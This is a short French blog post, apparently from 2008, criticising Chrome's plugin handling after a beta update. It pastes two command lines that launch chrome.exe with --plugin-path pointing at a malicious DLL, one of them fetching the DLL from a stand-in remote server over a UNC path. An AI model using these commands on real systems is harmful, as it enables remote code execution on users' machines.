Le 8 septembre Google presentait une mise à jour de chrome en version 0.2.149.29 : http://googlechromereleases.blogspot.com/2008/09/beta-release-0214929.html

Cette version corrige des "failles", je vous laisse le soin d'en decouvrir plus...

Neanmoins je persiste et continue de denoncer le trou de sécurité béant laissé par la gestion des plugins douteuse qui autorise l'execution de code depuis internet. Je ne vous ferai pas de demo ou de "proof of concept" depuis une page web soigneusement redigée : manquerai plus qu'on leur mache le travail.

Toutefois et compte tenu de la simplicité de ce que j'appelerai naivement "la faille" je vous copie/colle l'unique ligne de commande à tester chez vous pour le fun :

"c:\users\{username}\appdata\local\google\chrome\application\chrome.exe" --type=plugin --channel=0000.0000000.000000000 --plugin-path="ici_la_dll_qui_tue.dll"

Ou bien la version unc path qui, il faut le dire sinon personne ne s'en rend compte, telecharge la dll depuis l'internet :

"c:\users\{username}\appdata\local\google\chrome\application\chrome.exe" --type=plugin --channel=0000.0000000.000000000 --plugin-path="\\ici_le_serveur.com\ici_la_dll_qui_tue.dll"

Ce n'est pas à vous qui me lisez que je vais apprendre qu'il est possible en y additionnant quelques lignes de script d'executer ce shell depuis le navigateur.

Alors... rendez-vous à la prochaine mise à jour de notre IE/FF killer préféré !